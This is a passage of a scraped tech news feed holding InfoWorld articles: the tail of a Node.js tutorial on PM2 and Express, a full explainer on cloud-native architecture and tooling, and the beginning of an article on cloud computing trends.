<p class="wp-block-paragraph">Node’s asynchronous, non-blocking nature makes it good at handling many parallel requests, but it’s not truly concurrent by default. There are <a href="https://www.infoworld.com/article/2513020/intro-to-multithreaded-javascript.html">a few ways to make a Node application use multiple threads</a> for true concurrency. One of the simplest is to use the <a href="https://pm2.keymetrics.io/">PM2 project</a>, which lets you run the same Node application in many processes.</p>



<p class="wp-block-paragraph">By launching each application instance in its own process, the operating system can make use of multiple cores on the machine. This is not usually a concern at first, but it’s a key performance consideration to bear in mind.</p>



<p class="wp-block-paragraph">You can install PM2 globally like so:</p>



<pre class="wp-block-code"><code>$ npm install -g pm2</code></pre>



<p class="wp-block-paragraph">For our example, we want to make it obvious that the different processes are handling requests. We can achieve that goal with a small change to the server:</p>



<pre class="wp-block-code"><code>res.end(`Hello, InfoWorld! Handled by ${process.pid}`);</code></pre>



<p class="wp-block-paragraph">The <code>process.pid </code>field is a built-in environment variable, providing a unique ID for the currently running process in Node. Once PM2 is installed and the app is updated, we can run it like so:</p>



<pre class="wp-block-code"><code>$ pm2 start example.js -i max</code></pre>



<p class="wp-block-paragraph">That should launch several instances of the same program, as shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Node-tutorial-fig3v2.png?w=1024" alt="Screenshot of a multi-process Node-based web server running several instances of the same program." class="wp-image-4089570" width="1024" height="575" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">Then, if you open multiple windows, you can see the unique ID of each instance:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Node-tutorial-fig2v2.png?w=1024" alt="Screenshot of a Node-based multi-process web server showing the unique ID of each instance." class="wp-image-4089571" width="1024" height="536" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<h2 class="wp-block-heading">An Express web server with Node</h2>



<p class="wp-block-paragraph">For our final example, we’ll look at setting up an <a href="https://www.infoworld.com/article/3615615/intro-to-express-js-endpoints-parameters-and-routes.html">Express</a> web server in Node. This time we’ll use NPM to download Express and its dependencies. NPM is one of the greatest storehouses of software on the planet, with literally <a href="https://www.npmjs.com/">millions of libraries available</a>. Knowing how to use it is essential for working with Node.</p>



<p class="wp-block-paragraph">NPM works just like other package managers you may have used, letting you define and install dependencies in a structured way. To install Express, go to your project directory and type:</p>



<pre class="wp-block-code"><code>$ npm install express</code></pre>



<p class="wp-block-paragraph">Node should respond with something like: <code>added 68 packages in 5s</code>.</p>



<p class="wp-block-paragraph">You will notice several directories have been added to a <code>/node_modules</code> directory. Those are all the dependencies needed for Express. You usually don’t have to interact with <code>node_modules</code> yourself, but it’s good to know that’s where things are saved.</p>



<p class="wp-block-paragraph">Now look at the <code>package.json</code> file, which will have something like this in it:</p>



<pre class="wp-block-code"><code>{
  "dependencies": {
	"express": "^5.1.0"
  }
}</code></pre>



<p class="wp-block-paragraph">This is how dependencies are defined in NPM. It says the application needs the express dependency at version 5.1.0 (or greater).</p>



<h3 class="wp-block-heading">Setting up the Express server in Node</h3>



<p class="wp-block-paragraph">Express is one of the most-deployed pieces of software on the Internet. It can be a minimalist server framework for Node that handles all the essentials of HTTP, and it’s also expandable using “middleware” plugins.</p>



<p class="wp-block-paragraph">Since we’ve already installed Express, we can jump right into defining a server. Open the <code>example.js</code> file we used previously and replace the contents with this simple Express server:</p>



<pre class="wp-block-code"><code>import express from 'express';

const app = express();
const port = 3000;

app.get('/', (req, res) =&gt; {
  res.send('Hello, InfoWorld!');
});

app.listen(port, () =&gt; {
  console.log(`Express server at http://localhost:${port}`);
});</code></pre>



<p class="wp-block-paragraph">This program does the same thing as our earlier <code>http</code> module version. The most important change is that we’ve added routing. Express makes it easy for us to associate a URL path, like the root path (<code>‘/’</code>), with the handler function.</p>



<p class="wp-block-paragraph">If we wanted to add another path, it could look like this:</p>



<pre class="wp-block-code"><code>app.get('/about', (req, res) =&gt; {
  res.send('This is the About page.');
});</code></pre>



<p class="wp-block-paragraph">Once we have the basic web server set up with one or more paths, we’ll probably need to create a few API endpoints that respond with JSON. Here’s an example of a route that returns a JSON object:</p>



<pre class="wp-block-code"><code>app.get('/api/user', (req, res) =&gt; {
  res.json({
	id: 1,
	name: 'John Doe',
	role: 'Admin'
  });
});</code></pre>



<p class="wp-block-paragraph">That’s a simple example, but it gives you a taste of working with Express in Node.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">In this article you’ve seen how to install Node and NPM and how to set up both simple and more advanced web servers in Node. Although we’ve only touched on the basics, these examples demonstrate many elements that are required for all Node applications, including the ability to import modules.</p>



<p class="wp-block-paragraph">Whenever you need a package to do something in Node, you will more than likely find it available on <a href="https://www.npmjs.com/">NPM</a>. Visit the official site and use the search feature to find what you need. For more information about a package, you can use the <a href="http://npms.io/">npms.io</a> tool. Keep in mind that a project’s health depends on its weekly download metric (visible on NPM for the package itself). You can also check a project’s GitHub page to see how many stars it has and how many times it’s been forked; both are good measures of success and stability. Another important metric is how recently and frequently the project is updated and maintained. That information is also visible on a project’s GitHub Insights page.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloud native explained: How to build scalable, resilient applications]]></title>
<description><![CDATA[What is cloud native? Cloud native defined



The term “cloud-native computing” encompasses the modern approach to building and running software applications that exploit the flexibility, scalability, and resilience of cloud computing. The phrase is a catch-all that encompasses not just the speci...]]></description>
<link>https://tsecurity.de/de/3665670/ai-nachrichten/cloud-native-explained-how-to-build-scalable-resilient-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665670/ai-nachrichten/cloud-native-explained-how-to-build-scalable-resilient-applications/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading"><strong>What is cloud native? Cloud native defined</strong></h2>



<p class="wp-block-paragraph">The term “cloud-native computing” encompasses the modern approach to building and running software applications that exploit the flexibility, scalability, and resilience of cloud computing. The phrase is a catch-all that encompasses not just the specific architecture choices and environments used to build applications for the public cloud, but also the software engineering techniques and philosophies used by cloud developers.</p>



<p class="wp-block-paragraph">The <a href="https://www.cncf.io/">Cloud Native Computing Foundation</a> (CNCF) is an open source organization that hosts many important cloud-related projects and helps set the tone for the world of cloud development. The CNCF offers its own definition of cloud native:</p>



<p class="wp-block-paragraph"><em>Cloud native practices empower organizations to develop, build, and deploy workloads in computing environments (public, private, hybrid cloud) to meet their organizational needs at scale in a programmatic and repeatable manner. It is characterized by loosely coupled systems that interoperate in a manner that is secure, resilient, manageable, sustainable, and observable.</em></p>



<p class="wp-block-paragraph"><em>Cloud native technologies and architectures typically consist of some combination of containers, service meshes, multi-tenancy, microservices, immutable infrastructure, serverless, and declarative APIs — this list is not exhaustive.</em></p>



<p class="wp-block-paragraph">This definition is a good start, but as cloud infrastructure becomes ubiquitous, the cloud native world is beginning to spread behind the core of this definition. We’ll explore that evolution as well, and look into the near future of cloud-native computing.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<h2 class="wp-block-heading"><strong>Cloud native architectural principles</strong></h2>



<p class="wp-block-paragraph">Let’s start by exploring the pillars of cloud-native architecture. Many of these technologies and techniques were considered innovative and even revolutionary when they hit the market over the past few decades, but now have become widely accepted across the software development landscape.</p>



<p class="wp-block-paragraph"><strong>Microservices. </strong>One of the huge cultural shifts that made cloud-native computing possible was the move from huge, monolithic applications to <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a>: small, loosely coupled, and independently deployable components that work together to form a cloud-native application. These microservices can be scaled across cloud environments, though (as we’ll see in a moment) this makes systems more complex.</p>



<p class="wp-block-paragraph"><strong>Containers and orchestration. </strong>In could-native architectures, individual microservices are executed inside <em>containers </em>— lightweight, portable virtual execution environments that can run on a variety of servers and cloud platforms. Containers insulate the developers from having to worry about the underlying machines on which their code will execute. That is, all they have to do is write to the container environment. </p>



<p class="wp-block-paragraph">Getting the containers to run properly and communicate with one another is where the complexity of cloud native computing starts to emerge. Initially, containers were created and managed by relatively simple platforms, the most common of which was <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker</a>. But as cloud-native applications got more complex, container orchestration platforms<em> </em>that augmented Docker’s functionality emerged, such as Kubernetes, which allows you to deploy and manage multi-container applications at scale. Kubernetes is critical to cloud native computing as we know it — it’s worth noting that the CNCF was set up as a <a href="https://www.zdnet.com/article/cloud-native-computing-foundation-seeks-to-bring-more-cloud-and-container-unity/">spinoff of the Linux Foundation on the same day that Kubernetes 1.0 was announced</a> — and adhering to <a href="https://www.infoworld.com/article/2338688/6-best-practices-to-keep-kubernetes-costs-under-control.html">Kubernetes best practices</a> is an important key to cloud native success. </p>



<p class="wp-block-paragraph"><strong>Open standards and APIs. </strong>The fact that containers and cloud platforms are largely defined by open standards and <a href="https://www.infoworld.com/article/3800992/open-source-trends-for-2025-and-beyond.html">open source technologies</a> is the secret sauce that makes all this modularity and orchestration possible, and <a href="https://www.infoworld.com/article/3529600/how-do-you-govern-a-sprawling-disparate-api-portfolio.html">standardized and documented APIs </a>offer the means of communication between distributed components of a larger application. In theory, anyway, this standardization means that every component should be able to communicate with other components of an application without knowing about their inner workings, or about the inner workings of the various platform layers on which everything operates.</p>



<p class="wp-block-paragraph"><strong>DevOps, agile methodologies, and infrastructure as code. </strong>Because cloud-native applications exist as a series of small, discrete units of functionality, cloud-native teams can build and update them using agile philosophies like <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">DevOps</a>, which promotes <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">rapid, iterative CI/CD development</a>. This enables teams to deliver business value more quickly and more reliably.</p>



<p class="wp-block-paragraph">The virtualized nature of cloud environments also make them great candidates for <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a> (IaC), a practice in which teams use tools like <a href="https://developer.hashicorp.com/terraform/intro">Terraform</a>, <a href="https://www.pulumi.com/">Pulumi</a>, and <a href="https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/Welcome.html">AWS CloudFormation</a>, to manage infrastructure declaratively and version those declarations just like application code. IaC boosts automation, repeatability, and resilience across environments—all big advantages in the cloud world. IaC also goes hand-in-hand with the concept of <em>immutable infrastructure</em>—the idea that, once deployed, infastructure-level entities like virtual machines, containers, or network appliances don’t change, which makes them easier to manage and secure. IaC stores declarative configuration code in version control, which creates an audit log of any changes.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/04/5_things_cloud_native.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart listing five things to love and five things to fear when considiering cloud native" class="wp-image-3970036" width="1024" height="472" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>There’s a lot to love about cloud-native architectures, but there are also several things to be wary of when considering it.</p>
</figcaption></figure><p class="imageCredit">Foundry</p></div>



<h2 class="wp-block-heading"><strong>How the cloud-native stack is expanding</strong></h2>



<p class="wp-block-paragraph">As cloud-native development becomes the norm, the cloud-native ecosystem is expanding; the CNCF maintains a graphical representation of what it calls the  <a href="https://landscape.cncf.io/">cloud native landscape</a> that hammers home to expansive and bewildering variety of products, services, and open source projects that contribute to (and seek to profit from) to cloud-native computing. And there are a number of areas where new and developing tools are complicating the picture sketched out by the pillars we discussed above.   </p>



<p class="wp-block-paragraph"><strong>An expanding Kubernetes ecosystem.</strong> <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes </a>is complex, and teams now rely on an <a href="https://www.infoworld.com/article/2265338/13-tools-that-make-kubernetes-better.html">entire ecosystem of projects </a>to get the most out of it: <a href="https://www.infoworld.com/article/2264445/helm-3-package-manager-arrives-for-kubernetes.html">Helm</a> for packaging, <a href="https://argo-cd.readthedocs.io/en/stable/">ArgoCD </a>for GitOps-style deployments, and <a href="https://kustomize.io/">Kustomize </a>for configuration management. And just as Kubernetes augmented Docker for enterprise-scale deployments. Kubernetes itself has been augmented and expanded by <a href="https://www.infoworld.com/article/2261159/what-is-a-service-mesh-easier-container-networking.html">service mesh</a> offerings like <a href="https://istio.io/">Istio </a>and <a href="https://linkerd.io/">Linkerd</a><strong>, </strong>which offer fine-grained traffic control and improved security</p>



<p class="wp-block-paragraph"><strong>Observability needs. </strong>The complex and distributed world of cloud-native computing requires in-depth <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a> to ensure that developers and admins have a handle on what’s happening with their applications. <a href="https://www.infoworld.com/article/2337343/what-observability-means-for-cloud-operations.html">Cloud-native observability</a> uses distributed tracing and aggregated logs to provide deep insight into performance and reliability. Tools like <a href="https://www.infoworld.com/article/2246709/prometheus-unbound-open-source-cloud-monitoring.html">Prometheus</a>, <a href="https://www.infoworld.com/article/2337267/grafana-shining-a-light-into-kubernetes-clusters.html">Grafana</a>, <a href="https://www.cncf.io/projects/jaeger/">Jaeger</a>, and <a href="https://opentelemetry.io/">OpenTelemetry</a> support comprehensive, real-time observability across the stack.</p>



<p class="wp-block-paragraph"><strong>Serverless computing.  </strong><a href="https://www.infoworld.com/article/2261831/what-is-serverless-serverless-computing-explained.html">Serverless computing</a>, particularly in its function-as-a-service guise, offers to strip needed compute resources down to their bare minimum, with functions running on service provider clouds using exactly as much as they need and no more. Because these services can be exposed as endpoints via APIs, they are increasingly integrated into distributed applications, operating side-by-side with functionality provided by containerized microservices. Watch out, though: the big FaaS providers (<a href="https://www.infoworld.com/article/2265860/aws-lambda-tutorial-get-started-with-serverless-computing.html">Amazon</a>, <a href="https://www.infoworld.com/article/2255377/how-to-work-with-azure-functions-in-csharp.html">Microsoft</a>, and <a href="https://www.infoworld.com/article/2243861/google-takes-aims-at-aws-lambda-with-cloud-functions.html">Google</a>) would love to lock you in to their ecosystems.  </p>



<p class="wp-block-paragraph"><strong>FinOps. </strong><a href="http://infoworld.com/article/2238873/what-is-cloud-computing.html">Cloud computing</a> was initially billed as a way to cut costs — no need to pay for an in-house data center that you barely use — but in practice it replaces capex with opex, and sometimes you can run up truly shocking cloud service bills if you aren’t careful. Serverless computing is one way to cut down on those costs, but financial operations, or <a href="https://www.cio.com/article/416337/what-is-finops-your-guide-to-cloud-cost-management.html">FinOps</a>, is a more systematic discipline that aims to aligns engineering, finance, and product to optimize cloud spending. <a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">FinOps best practices</a> make use of those observability tools to best determine what departments and applications are eating up resources.</p>



<h2 class="wp-block-heading"><strong>How cloud-native architecture is adapting to AI workloads</strong></h2>



<p class="wp-block-paragraph">Enterprises deploy larger AI models and make use of more and more real-time inference services. That’s putting demands on cloud-native systems and forcing them to adapt to remain scalable and reliable.</p>



<p class="wp-block-paragraph">For instance, organizations are <a href="https://www.infoworld.com/article/4057189/the-rise-of-ai-ready-private-clouds.html">re-engineering cloud environments</a> around GPU-accelerated clusters, low-latency networking, and predictable orchestration. These needs align with established cloud-native patterns: containers package AI services consistently, while Kubernetes provides resilient scheduling and horizontal scale for inference workloads that can spike without warning.</p>



<p class="wp-block-paragraph">Kubernetes itself is <a href="https://www.infoworld.com/article/4045563/evolving-kubernetes-for-generative-ai-inference.html">changing to better support AI inference</a>, adding hardware-aware scheduling for GPUs, model-specific autoscaling behavior, and deeper observability into inference pipelines. These enhancements make Kubernetes a more natural platform for serving generative AI workloads.</p>



<p class="wp-block-paragraph">AI’s resource demands are amplifying traditional cloud-native challenges. Observability becomes more complex as inference paths span GPUs, CPUs, vector databases, and distributed storage. <a href="https://www.cio.com/article/416337/what-is-finops-your-guide-to-cloud-cost-management.html">FinOps</a> teams contend with cost volatility from training and inference bursts. And security teams must track new risks around model provenance, data access, and supply-chain integrity.</p>



<h2 class="wp-block-heading"><strong>Application frameworks for building distributed cloud-native apps</strong></h2>



<p class="wp-block-paragraph">Microsoft’s Aspire is one of the most visible examples of a shift towards application frameworks to simplify how teams build distributed systems. Opinionated frameworks like Aspire provide structure, observability, and integration out of the box so developer don’t need to stitch together containers, microservices, and orchestration tooling by hand.</p>



<p class="wp-block-paragraph">Aspire in particular is a <a href="https://www.infoworld.com/article/4023638/taking-net-aspire-for-a-spin.html">prescriptive framework for cloud-native applications</a>, bundling containerized services, environment configuration, health checks, and observability into a unified development model. Aspire provides defaults for service-to-service communication, configuration, and deployment, along with a built-in dashboard for visibility across distributed components.</p>



<p class="wp-block-paragraph">While Aspire was originally aligned with Microsoft’s .<a href="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html">NET platform</a>,Redmond now sees it as having a<strong>  </strong><a href="https://www.infoworld.com/article/4085051/aspires-polyglot-future.html?utm_source=chatgpt.com">polyglot future</a>. This positions Aspire as part of a broader trend: frameworks that help teams build cloud-native, service-oriented systems without being locked into a single language ecosystem. Several other frameworks are gaining traction: Dapr provides a portable runtime that abstracts many of the plumbing tasks in cloud-native distributed applications, and Orleans offers an actor-model-based framework for large-scale systems in the .NET world, and Akka gives JVM teams a mature, reactive toolkit for elastic, resilient services.</p>



<h2 class="wp-block-heading"><strong>Frameworks and tools in the expanding cloud-native ecosystem</strong></h2>



<p class="wp-block-paragraph">While frameworks like Aspire simplify how developers compose and structure distributed applications, most cloud-native systems still depend on a broader ecosystem of platforms and operational tooling. This deeper layer is where much of the complexity—and innovation—of cloud-native computing lives, particularly as Kubernetes continues to serve as the industry’s control plane for modern infrastructure.</p>



<p class="wp-block-paragraph">Kubernetes provides the core abstractions for deploying and orchestrating containerized workloads at scale. Managed distributions such as Google Kubernetes Engine (GKE), Amazon EKS, <a href="https://www.infoworld.com/article/4058764/smoother-kubernetes-sailing-with-aks-automatic.html">Azure AKS</a>, and Red Hat OpenShift build on these primitives with security, lifecycle automation, and enterprise support. Platform vendors are increasingly automating cluster operations—upgrades, scaling, remediation—to reduce the operational burden on engineering teams.</p>



<p class="wp-block-paragraph">Surrounding Kubernetes is a rapidly expanding ecosystem of complementary frameworks and tools. <a href="https://www.infoworld.com/article/2261159/what-is-a-service-mesh-easier-container-networking.html">Service meshes</a> like Istio and Linkerd provide fine-grained traffic management, policy enforcement, and mTLS-based security across microservices. <a href="https://www.infoworld.com/article/2259088/what-is-gitops-extending-devops-to-kubernetes-and-beyond.html">GitOps</a> platforms such as Argo CD and Flux bring declarative, version-controlled deployments to cloud-native environments. Meanwhile, projects like Crossplane turn Kubernetes into a universal control plane for cloud infrastructure, letting teams provision databases, queues, and storage through familiar Kubernetes APIs. These tools illustrate how cloud-native development now spans multiple layers: developer-focused application frameworks like Aspire at the top, and a powerful, evolving Kubernetes ecosystem underneath that keeps modern distributed applications running.</p>



<h2 class="wp-block-heading"><strong>Advantages and challenges for cloud-native development</strong></h2>



<p class="wp-block-paragraph">Cloud native has become so ubiquitous that its advantages are almost taken for granted at this point, but it’s worth reflecting on the beneficial shift the cloud native paradigm represents. Huge, monolithic codebases that saw updates rolled out once every couple of years have been replaced by microservice-based applications that can be improved continuously. Cloud-based deployments, when managed correctly, make better use of compute resources and allow companies to offer their products as SaaS or PaaS services. </p>



<p class="wp-block-paragraph">But <a href="https://www.infoworld.com/article/2337882/the-downsides-of-cloud-native-solutions.html">cloud-native deployments come with a number of challenges</a>, too:</p>



<ul class="wp-block-list">
<li><strong>Complexity and operational overhead: </strong>You’ll have noticed by now that many of the cloud-native tools we’ve discussed, like service meshes and observability tools, are needed to deal with the complexity of cloud-native applications and environments. Individual microservices are deceptively simple, but coordinating them all in a distributed environment is a big lift.</li>



<li><strong>Security: </strong>More services executing on more machines, communicating by open APIs, all adds up to a bigger attack surface for hackers. <a href="https://www.csoonline.com/article/572501/managing-container-vulnerability-risks-tools-and-best-practices.html">Containers</a> and <a href="https://www.csoonline.com/article/3618243/securing-cloud-native-applications-why-a-comprehensive-api-security-strategy-is-essential.html">APIs</a> each have their own special security needs, and a <a href="https://www.infoworld.com/article/2259477/open-policy-agent-a-general-purpose-policy-engine-for-cloud-native.html">policy engine</a> can be an important tool for imposing a security baseline on a sprawling cloud-native app. <a href="https://www.csoonline.com/article/564095/what-is-devsecops-developing-more-secure-applications.html">DevSecOps</a>, which adds security to DevOps, has become an important cloud-native development practice to try to close these gaps.</li>



<li><strong>Vendor lock-in: </strong>This may come as a surprise, since cloud-native is based on open standards and open source. But there are differences in how the big cloud and serverless providers works, and once you’ve written code with one provider in mind, <a href="https://www.infoworld.com/article/2337012/get-used-to-cloud-vendor-lock-in.html">it can be hard to migrate elsewhere</a>.</li>



<li><strong>A persistent skills gap: </strong>Cloud-native computing and development may have years under its belt at this point, but the number of developers who are truly skilled in this arena is a smaller portion of the workforce than you’d think. Companies <a href="https://www.infoworld.com/article/3484912/a-strategic-road-map-for-navigating-the-cloud-skills-shortage.html">face difficult choices in bridging this skills gap</a>, whether that’s bidding up salaries, working to upskill current workers, or allowing remote work so they can cast a wide net. </li>
</ul>



<h2 class="wp-block-heading">Cloud native in the real world</h2>



<p class="wp-block-paragraph">Cloud native computing is often associated with giants like Netflix, Spotify, Uber, and AirBNB, where many of its technologies were pioneered in the early ’10s. But the CNCF’s <a href="https://www.cncf.io/case-studies/">Case Studies page</a> provides an in-depth look at how cloud native technologies are helping companies. Examples include the following:</p>



<ul class="wp-block-list">
<li>A UK-based payment technology company that can <a href="https://www.cncf.io/case-studies/form3/">switch between data centers and clouds</a> with zero downtime</li>



<li>A software company whose product collects and analyzes data from IoT devices — and can <a href="https://www.cncf.io/case-studies/tempestive/">scale up</a> as the number of gadgets grows</li>



<li>A Czech web service company that managed to <a href="https://www.cncf.io/case-studies/seznam/">improve performance while reducing costs</a> by migrating to the cloud</li>
</ul>



<p class="wp-block-paragraph">Cloud-native infrastructure’s capability to quickly scale up to large workloads also make it an attractive platform for developing AI/ML applications: another one of those CNCF case studies looks at how IBM uses Kubernetes to <a href="https://www.cncf.io/case-studies/ibmwatsonxassistant/">train its Watsonx assistant</a>. The big three providers are putting a lot of effort into pitching their platforms as the place for you to develop your own generative AI tools, with offerings like <a href="https://www.infoworld.com/article/3608598/microsoft-rebrands-azure-ai-studio-to-azure-ai-foundry.html">Azure AI Foundry,</a><a href="https://www.infoworld.com/article/3959648/google-unveils-firebase-studio-for-ai-app-development.html">Google Firebase Studio</a>, and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Amazon Bedrock</a>. It seems clear that cloud native technology is ready for what comes next.</p>



<h2 class="wp-block-heading">Learn more about related cloud-native technologies:</h2>



<ul class="wp-block-list">
<li><a href="https://www.infoworld.com/article/2256066/what-is-paas-platform-as-a-service-a-simpler-way-to-build-software-applications.html">Platform-as-a-service (PaaS) explained</a></li>



<li><a href="https://www.infoworld.com/article/2238873/what-is-cloud-computing.html">What is cloud computing</a></li>



<li><a href="https://www.infoworld.com/article/2256706/what-is-multicloud-the-next-step-in-cloud-computing.html">Multicloud explained</a></li>



<li><a href="https://www.infoworld.com/article/2259475/what-is-agile-methodology-modern-software-development-explained.html">Agile methodology explained</a></li>



<li><a href="https://www.infoworld.com/article/2259487/how-to-excel-in-agile-software-development.html">Agile development best practices</a></li>



<li><a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">Devops explained</a></li>



<li><a href="https://www.infoworld.com/article/2266905/devops-best-practices-the-5-methods-you-should-adopt.html">Devops best practices</a></li>



<li><a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">Microservices explained</a></li>



<li><a href="https://www.infoworld.com/article/2253197/tutorial-how-to-build-microservices-apps.html">Microservices tutorial</a></li>



<li><a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker and Linux containers explained</a></li>



<li><a href="https://www.infoworld.com/article/2254159/how-to-get-started-with-kubernetes-2.html">Kubernetes tutorial</a></li>



<li><a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">CI/CD (continuous integration and continuous delivery) explained</a></li>



<li><a href="https://www.infoworld.com/article/2268012/get-started-with-cicd-automating-application-delivery-with-cicd-pipelines.html">CI/CD best practices</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is cloud computing? From infrastructure to autonomous, agentic-driven ecosystems]]></title>
<description><![CDATA[Cloud computing continues to be the platform of choice for large applications and a driver of innovation in enterprise technology. Gartner forecasts public cloud spending alone to  the public cloud services market alone will reach $1.42 trillion in current U.S. dollars, driven by AI workloads and...]]></description>
<link>https://tsecurity.de/de/3665669/ai-nachrichten/what-is-cloud-computing-from-infrastructure-to-autonomous-agentic-driven-ecosystems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665669/ai-nachrichten/what-is-cloud-computing-from-infrastructure-to-autonomous-agentic-driven-ecosystems/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:32 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h3 class="wp-block-heading"></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2337750/when-will-cloud-computing-stop-growing.html">Cloud computing</a> continues to be the <a href="https://www.cio.com/article/482179/volkswagen-drives-the-automotive-industry-cloud-forward.html">platform of choice for large applications</a> and a <a href="https://www.infoworld.com/article/2336917/cloud-computing-is-reinventing-cars-and-trucks.html">driver of innovation</a> in enterprise technology. <a href="https://www.gartner.com/en/newsroom/press-releases/2024-05-20-gartner-forecasts-worldwide-public-cloud-end-user-spending-to-surpass-675-billion-in-2024#:~:text=Worldwide%20end-user%20spending%20on,(GenAI)%20and%20application%20modernization.">Gartner </a>forecasts public cloud spending alone to  the<a href="https://www.gartner.com/en/documents/6302015#:~:text=Summary,AI%20workloads%20and%20enterprise%20modernization."> public cloud services market alone </a>will reach $1.42 trillion in current U.S. dollars, driven by AI workloads and enterprise modernization.</p>



<p class="wp-block-paragraph">Driving this growth are the rise of <a href="https://www.infoworld.com/article/2262333/youre-doing-cloud-based-ai-and-machine-learning-wrong.html">AI and machine learning on the cloud</a>, <a href="https://www.infoworld.com/article/2335144/what-happened-to-edge-computing.html">adoption of edge computing</a>, the maturation of <a href="https://www.infoworld.com/article/3406501/what-is-serverless-serverless-computing-explained.html">serverless computing</a>, the emergence of <a href="https://www.infoworld.com/article/3584433/are-you-ready-for-multicloud-a-checklist.html">multicloud strategies</a>, improved security and privacy, and more sustainable cloud practices.</p>



<h2 class="wp-block-heading">What is cloud computing?</h2>



<p class="wp-block-paragraph">While often used broadly, the term cloud computing is defined as an abstraction of compute, storage, and network infrastructure assembled as a platform on which applications and systems are deployed quickly and scaled on the fly.</p>



<p class="wp-block-paragraph">Most cloud customers consume <a href="https://www.cio.com/article/2097657/6-cloud-market-forces-impacting-it-strategies-today.html">public cloud </a>computing services over the internet, which are hosted in large, remote data centers maintained by cloud providers. The most common type of cloud computing, SaaS (software as service), delivers prebuilt applications to the browsers of customers who pay per seat or by usage, exemplified by such popular apps as Salesforce, Google Docs, or Microsoft Teams.</p>



<h3><strong> 5 top trends in cloud computing</strong></h3>

<ol>
<li><strong>Agentic cloud ecosystems: </strong> The shift from AI as a tool to AI as an autonomous operator within cloud environments.</li>
<li><strong>Sovereign and localized clouds: </strong> Meeting strict national data residency and digital sovereignty laws.</li>
<li><strong>Specialized AI hardware access: </strong> Navigating the GPU capacity crunch through reserved instances and boutique AI clouds.</li>
<li><strong>Integrated greenOps: </strong>Merging cost optimization with mandatory carbon-footprint reporting.</li>
<li><strong>Industry-specific walled gardens: </strong> The maturation of vertical clouds into highly regulated, precompliant environments for finance and healthcare.</li>
</ol>






<p class="wp-block-paragraph">Next in line is IaaS (infrastructure as a service), which offers vast, virtualized compute, storage, and network infrastructure upon which customers build their own applications, often with the aid of providers’ <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">API</a>-accessible services.</p>



<p class="wp-block-paragraph">When people refer to the “the cloud” today, they most often mean the big IaaS providers: AWS (Amazon Web Services), Google Cloud Platform, or Microsoft Azure. All three have become ecosystems of services that go way beyond infrastructure and include developer tools, serverless computing, machine learning services and APIs, data warehouses, and thousands of other services. With both SaaS and IaaS, a key benefit is agility. Customers gain new capabilities almost instantly without the capital investment in hardware or software on-premises — and they can instantly scale the cloud resources they consume up or down as needed.</p>



<p class="wp-block-paragraph">According to <a href="https://foundryco.com/research/cloud-computing/">Foundry’s Cloud Computing Study, 2025</a>, enterprises are moving to the cloud to improve security and/or governance, increase scalability​, accelerate adoption of artificial intelligence and machine learning and other new technologies, replace on-premises legacy technology, ​improve employee productivity, and ensure disaster recovery and business continuity.</p>



<h2 class="wp-block-heading">Hyperscalers now dominate cloud services</h2>



